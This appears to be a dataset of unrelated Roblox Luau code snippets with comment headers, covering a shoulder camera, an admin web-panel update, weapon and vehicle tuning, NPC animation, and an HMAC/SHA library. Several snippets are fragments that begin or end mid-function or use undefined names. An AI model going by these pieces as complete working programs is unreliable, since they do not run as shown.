self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera),
-- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire
self.recoilDecay = 2 -- higher number means faster recoil decay rate
self.rotateCharacterWithCamera = true
self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65)
-- Walk speeds
self.zoomWalkSpeed = 8
self.normalWalkSpeed = 16
self.sprintingWalkSpeed = 24
-- Current state
self.enabled = false
self.yaw = 0
self.pitch = 0
self.currentCFrame = CFrame.new()
self.currentOffset = self.normalOffset
self.currentRecoil = Vector2.new(0, 0)
self.currentMouseRadsPerPixel = self.mouseRadsPerPixel
self.currentTouchSensitivity = self.touchSensitivity
self.mouseLocked = true
self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch
self.currentTool = nil
self.sprintingInputActivated = false
self.desiredWalkSpeed = self.normalWalkSpeed
self.sprintEnabled = false -- true means player will move faster while doing sprint inputs
self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs
self.desiredFieldOfView = self.fieldOfView
-- Zoom variables
self.zoomedFromInput = false -- true if player has performed input to zoom
self.forcedZoomed = false -- ignores zoomedFromInput and canZoom
self.zoomState = false -- true if player is currently zoomed in
self.zoomAlpha = 0
self.hasScope = false
self.hideToolWhileZoomed = false
self.currentZoomFactor = self.defaultZoomFactor
self.zoomedFOV = self.fieldOfView
-- Gamepad variables
self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position
self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera)
self.lastThumbstickPos = Vector2.new(0, 0)
self.lastThumbstickTime = nil
self.currentGamepadSpeed = 0
self.lastGamepadVelocity = Vector2.new(0, 0)
-- Occlusion
self.lastOcclusionDistance = 0
self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance
self.defaultTimeUntilZoomOut = 0
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out
self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person
self.isZoomingOut = false
self.tweenOutTime = 0.2
self.curOcclusionTween = nil
self.occlusionTweenObject = nil
-- Side correction (when player is against a wall)
self.sideCorrectionGoalVector = nil
self.lastSideCorrectionMagnitude = 0
self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance
self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction)
self.defaultTimeUntilRevertSideCorrection = 0.75
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction
self.isRevertingSideCorrection = false
-- Datamodel references
self.eventConnections = {}
self.raycastIgnoreList = {}
self.currentCamera = nil
self.currentCharacter = nil
self.currentHumanoid = nil
self.currentRootPart = nil
self.controlModule = nil -- used to get player's touch input for moving character
self.random = Random.new()
return self
end
function ShoulderCamera:setEnabled(enabled)
if self.enabled == enabled then
return
end
self.enabled = enabled
if self.enabled then
RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end)
ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs))
ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs))
table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end))
table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end))
table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end))
table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end))
self:onCurrentCharacterChanged(LocalPlayer.Character)
self:onCurrentCameraChanged(workspace.CurrentCamera)
-- Make transition to shouldercamera smooth by facing in same direction as previous camera
local cameraLook = self.currentCamera.CFrame.lookVector
self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z)
self.pitch = math.asin(cameraLook.Y)
self.currentCamera.CameraType = Enum.CameraType.Scriptable
self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor
workspace.CurrentCamera.CameraSubject = self.currentRootPart
self.occlusionTweenObject = Instance.new("NumberValue")
self.occlusionTweenObject.Name = "OcclusionTweenObject"
self.occlusionTweenObject.Parent = script
self.occlusionTweenObject.Changed:Connect(function(value)
self.lastOcclusionDistance = value
end)
-- Sets up weapon system to use camera for raycast direction instead of gun look vector
self.weaponsSystem.aimRayCallback = function()
local cameraCFrame = self.currentCFrame
return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500)
end
else
RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME)
ContextActionService:UnbindAction(ZOOM_ACTION_NAME)
ContextActionService:UnbindAction(SPRINT_ACTION_NAME)
if self.currentHumanoid then
self.currentHumanoid.AutoRotate = true
end
if self.currentCamera then
self.currentCamera.CameraType = Enum.CameraType.Custom
end
self:updateZoomState()
self.yaw = 0
self.pitch = 0
for _, conn in pairs(self.eventConnections) do
conn:Disconnect()
end
self.eventConnections = {}
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
end
function ShoulderCamera:onRenderStep(dt)
if not self.enabled or
not self.currentCamera or
not self.currentCharacter or
not self.currentHumanoid or
not self.currentRootPart
then
return
end
-- Hide mouse and lock to center if applicable
if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
UserInputService.MouseIconEnabled = false
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
-- Handle gamepad input
self:processGamepadInput(dt)
-- Smoothly zoom to desired values
if self.hasScope then
ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView })
else
ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView })
end
-- Handle walk speed changes
if self.sprintEnabled or self.slowZoomWalkEnabled then
self.desiredWalkSpeed = self.normalWalkSpeed
if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then
self.desiredWalkSpeed = self.sprintingWalkSpeed
end
if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then
self.desiredWalkSpeed = self.zoomWalkSpeed
end
ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed })
end
-- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation
local rootPartPos = self.currentRootPart.CFrame.Position
local rootPartUnrotatedCFrame = CFrame.new(rootPartPos)
local yawRotation = CFrame.Angles(0, self.yaw, 0)
local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0)
local xOffset = CFrame.new(self.normalOffset.X, 0, 0)
local yOffset = CFrame.new(0, self.normalOffset.Y, 0)
local zOffset = CFrame.new(0, 0, self.normalOffset.Z)
local collisionRadius = self:getCollisionRadius()
local cameraYawRotationAndXOffset =
yawRotation * -- First rotate around the Y axis (look left/right)
xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player)
local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
-- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall)
local vecToFocus = cameraFocus.p - rootPartPos
local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius))
local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList)
local currentTime = tick()
local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0)
if hitPart then
hitPoint = hitPoint + (hitNormal * collisionRadius)
sideCorrectionGoalVector = hitPoint - cameraFocus.p
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left)
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly
elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection
end
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
else
self.isRevertingSideCorrection = true
end
elseif self.lastSideCorrectionMagnitude ~= 0 then
self.isRevertingSideCorrection = true
end
if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right)
if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then
self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame
end
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then
local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier
self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
end
end
end
-- Update cameraFocus to reflect side correction
cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude)
cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
self.currentCamera.Focus = cameraFocus
-- Calculate and apply CFrame for camera
local cameraCFrameInSubjectSpace =
cameraYawRotationAndXOffset *
pitchRotation * -- rotate around the X axis (look up/down)
yOffset * -- move camera up/vertically
zOffset -- move camera back
self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace
-- Move camera forward if zoomed in
if self.zoomAlpha > 0 then
local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded
self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha)
end
self.currentCamera.CFrame = self.currentCFrame
-- Handle occlusion
local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList)
if occlusionDistance > 1e-5 then
occlusionDistance = occlusionDistance + collisionRadius
end
if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player
if self.curOcclusionTween ~= nil then
self.curOcclusionTween:Cancel()
self.curOcclusionTween = nil
end
if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly
elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut
end
if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then
self.timeLastPoppedWayIn = currentTime
end
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
else -- make it hard/slow for camera to zoom out
self.isZoomingOut = true
if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame
self.lastOcclusionReachedTime = currentTime
end
-- If occlusion pops camera in to almost first person for a short time, pop out instantly
if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then
self.timeLastPoppedWayIn = 0
end
end
-- Update occlusion amount if timeout time has passed
if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then
if self.curOcclusionTween == nil then
self.occlusionTweenObject.Value = self.lastOcclusionDistance
local tweenInfo = TweenInfo.new(self.tweenOutTime)
local goal = {}
goal.Value = self.lastOcclusionDistance - self.normalOffset.Z
self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal)
self.curOcclusionTween:Play()
end
end
-- Apply occlusion to camera CFrame
local currentOffsetDir = self.currentCFrame.LookVector.Unit
self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance)
self.currentCamera.CFrame = self.currentCFrame
-- Apply recoil decay
self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt)
if self:isHumanoidControllable() and self.rotateCharacterWithCamera then
self.currentHumanoid.AutoRotate = false
self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera
self:applyRootJointFix()
else
self.currentHumanoid.AutoRotate = true
end
self:handlePartTransparencies()
self:handleTouchToolFiring()
end
|
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances |
return function(Vargs)
--if true then return end --// fully disabled
service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function()
wait(1)
local enabled = _G.ADONISWEB_CMD_JSON_DOUPDATE;
local secret = _G.ADONISWEB_CMD_JSON_SECRET;
local endpoint = _G.ADONISWEB_CMD_JSON_ENDPOINT;
if not enabled or not secret or not endpoint then return end
print("WEB ENABLED DO UPDATE");
local server = Vargs.Server;
local service = Vargs.Service;
local Core = server.Core;
local Commands = server.Commands;
if Core.DebugMode and enabled then
print("DEBUG DO LAUNCH ENABLED");
wait(5)
local list = {};
local HTTP = service.HttpService;
local Encode = server.Functions.Base64Encode
local Decode = server.Functions.Base64Decode
for i,cmd in next,Commands do
table.insert(list, {
Index = i;
Prefix = cmd.Prefix;
Commands = cmd.Commands;
Arguments = cmd.Args;
Description = cmd.Description;
AdminLevel = cmd.AdminLevel;
Hidden = cmd.Hidden or false;
NoFilter = cmd.NoFilter or false;
})
end
--warn("COMMANDS LIST JSON: ");
--print("\n\n".. HTTP:JSONEncode(list) .."\n\n");
--print("ENCODED")
--// LAUNCH IT
print("LAUNCHING")
local success, res = pcall(HTTP.RequestAsync, HTTP, {
Url = endpoint;
Method = "POST";
Headers = {
["Content-Type"] = "application/json",
["Secret"] = secret
};
Body = HTTP:JSONEncode({
["data"] = Encode(HTTP:JSONEncode(list))
})
});
print("LAUNCHED TO WEBPANEL")
print("RESPONSE BELOW")
print("SUCCESS: ".. tostring(success).. "\n"..
"RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res)
end
end)
end
|
--[[ @brief Performs an operation on heartbeat for a set amount of time.
@details This fills a common need for animating things smoothly, esp. GUIs. Expect things animated through this function to be smoother than things animated on a while loop.
@param fn The callback function for each heartbeat step.
@param lengthOfTime The length of time which we should continually call the callback.
@param yield Whether this function should yield or return immediately.
--]] |
function AnimateLib.TemporaryOnHeartbeat(fn, lengthOfTime, yield, callback)
local function PerfectDT(dt)
if lengthOfTime > dt then
lengthOfTime = lengthOfTime - dt;
fn(dt);
else
local t = lengthOfTime;
lengthOfTime = 0;
fn(t);
end
end
local function Condition()
return lengthOfTime > 0;
end
return AnimateLib.ConditionalOnHeartbeat(PerfectDT, Condition, yield, callback);
end
return AnimateLib;
|
--This script makes the screen black when the player dies. |
Player = script.Parent.Parent.Parent.Parent.Character
s = Player.Humanoid
while true do
if s.Health <= 1 then
script.Parent.Visible = true
script.Parent.Transparency = 1 --Invisible
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.9
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.8
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.7
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.6
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.5
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.4
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.3
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.2
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.1
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --Completely black screen
wait(999999999999999)
end
wait()
end
|
--// Handling Settings |
Firerate = 60 / 5500; -- 60 = 1 Minute, 5500 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
-- Determines whether log messages will go to stdout/stderr |
local outputEnabled = true
|
-- Syrchronized time |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local ServerTime = {}
local _timeOffset = 0
local _serverTime = ReplicatedStorage:FindFirstChild("ServerTime")
if not _serverTime then
_serverTime = Instance.new("NumberValue")
_serverTime.Name = "ServerTime"
_serverTime.Parent = ReplicatedStorage
end
local function _update()
_serverTime.Value = tick() - _timeOffset
end
function ServerTime.run()
_timeOffset = tick()
_update()
RunService.Stepped:Connect(_update)
end
|
-- "open" - opens the shutters straight away
-- "close" - closes the shutters straight away
-- "release" - emergency release which opens them to 5.2 studs
-- These are the two you'll need:
-- "time_open" - opens the shutter after actiontime
-- "time_close" - closes the shutter after actiontime | |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 35 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 3000 -- Use sliders to manipulate values
Tune.Redline = 6000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6000
Tune.PeakSharpness = 2
Tune.CurveMult = .2
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 450 -- RPM acceleration when clutch is off
Tune.RevDecay = 150 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
-- Main Functions |
function Animater.new(controller: controller?)
local self = table.clone(Animater)
self._maid = Maid.new()
self.Tracks = {}
self.Controller = controller
self.FadeIn = 0
self.FadeOut = 0
self.Priority = Enum.AnimationPriority.Core
return self
end
|
-- Functions |
function MapManager:SaveMap(object)
FindAndSaveSpawns(object)
for i = #Spawns, 1, -1 do
if Configurations.TEAMS then
if Spawns[i].TeamColor.Name == "Bright red" or Spawns[i].TeamColor.Name == "Bright blue" then
Spawns[i].Neutral = false
Spawns[i].Transparency = 1
else
table.remove(Spawns, i):Destroy()
end
else
Spawns[i].Neutral = true
Spawns[i].Transparency = 1
end
end
for _, child in pairs(object:GetChildren()) do
if not child:IsA("Camera") and not child:IsA("Terrain") and child.Name ~= "MapPurgeProof" then
local copy = child:Clone()
if copy then
copy.Parent = MapSave
end
end
end
end
function MapManager:ClearMap()
for _, child in ipairs(game.Workspace:GetChildren()) do
if not child:IsA('Camera') and not child:IsA('Terrain') and child.Name ~= "MapPurgeProof" then
child:Destroy()
end
end
end
function MapManager:LoadMap()
spawn(function()
for _, child in ipairs(MapSave:GetChildren()) do
local copy = child:Clone()
copy.Parent = game.Workspace
end
end)
end
return MapManager
|
------------------
------------------ |
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Zombie")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
wait(regentime)
wait(1)
model:remove()
model = backup:Clone()
wait(3)
model.Parent = game.Workspace
model:MakeJoints()
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = -3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = -desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
-- Put this in the Head of the NPC that you want to talk. | |
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent._Index
local Package = require(PackageIndex["Cryo"]["Cryo"])
return Package
|
--// Events |
local L_22_ = L_5_:WaitForChild('TurnOff')
local L_23_ = L_5_:WaitForChild('TurnOn')
local L_24_ = L_5_:WaitForChild('DustEvent')
local L_25_ = L_5_:WaitForChild('FXEvent')
local L_26_ = L_5_:WaitForChild('HitEvent')
local L_27_ = L_5_:WaitForChild('DamageEvent')
local L_28_ = L_5_:WaitForChild('CreateOwner')
|
--MODES NOT USED: All turns --
--"Signal1a or Signal2a" are NOT mandatory |
--Signal1 works well for both directions
--Signal2 works well for both directions |
------------------------------------------------------------------ |
local EngineOn = false
local Selected = false
local LockedCam = true
local LowestPoint = 0
local DesiredSpeed = 0
local CurrentSpeed = 0
local TrueAirSpeed = 0
local Throttle = 0
local HugeVector = Vector3.new(math.huge,math.huge,math.huge) |
-- Update 02.14.20 - added AsBinary for easy GameAnalytics replacement. |
local function hmac(hash_func, key, message, AsBinary)
-- Create an instance (private objects for current calculation)
local block_size = block_size_for_HMAC[hash_func]
if not block_size then
error("Unknown hash function", 2)
end
local KeyLength = #key
if KeyLength > block_size then
key = string.gsub(hash_func(key), "%x%x", HexToBinFunction)
KeyLength = #key
end
local append = hash_func()(string.gsub(key, ".", function(c)
return string.char(bit32_bxor(string.byte(c), 0x36))
end) .. string.rep("6", block_size - KeyLength)) -- 6 = string.char(0x36)
local result
local function partial(message_part)
if not message_part then
result = result or hash_func(
string.gsub(key, ".", function(c)
return string.char(bit32_bxor(string.byte(c), 0x5c))
end) .. string.rep("\\", block_size - KeyLength) -- \ = string.char(0x5c)
.. (string.gsub(append(), "%x%x", HexToBinFunction))
)
return result
elseif result then
error("Adding more chunks is not allowed after receiving the result", 2)
else
append(message_part)
return partial
end
end
if message then
-- Actually perform calculations and return the HMAC of a message
local FinalMessage = partial(message)()
return AsBinary and (string.gsub(FinalMessage, "%x%x", BinaryStringMap)) or FinalMessage
else
-- Return function for chunk-by-chunk loading of a message
-- User should feed every chunk of the message as single argument to this function and finally get HMAC by invoking this function without an argument
return partial
end
end
local sha = {
md5 = md5,
sha1 = sha1,
-- SHA2 hash functions:
sha224 = function(message)
return sha256ext(224, message)
end;
sha256 = function(message)
return sha256ext(256, message)
end;
sha512_224 = function(message)
return sha512ext(224, message)
end;
sha512_256 = function(message)
return sha512ext(256, message)
end;
sha384 = function(message)
return sha512ext(384, message)
end;
sha512 = function(message)
return sha512ext(512, message)
end;
-- SHA3 hash functions:
sha3_224 = function(message)
return keccak((1600 - 2 * 224) / 8, 224 / 8, false, message)
end;
sha3_256 = function(message)
return keccak((1600 - 2 * 256) / 8, 256 / 8, false, message)
end;
sha3_384 = function(message)
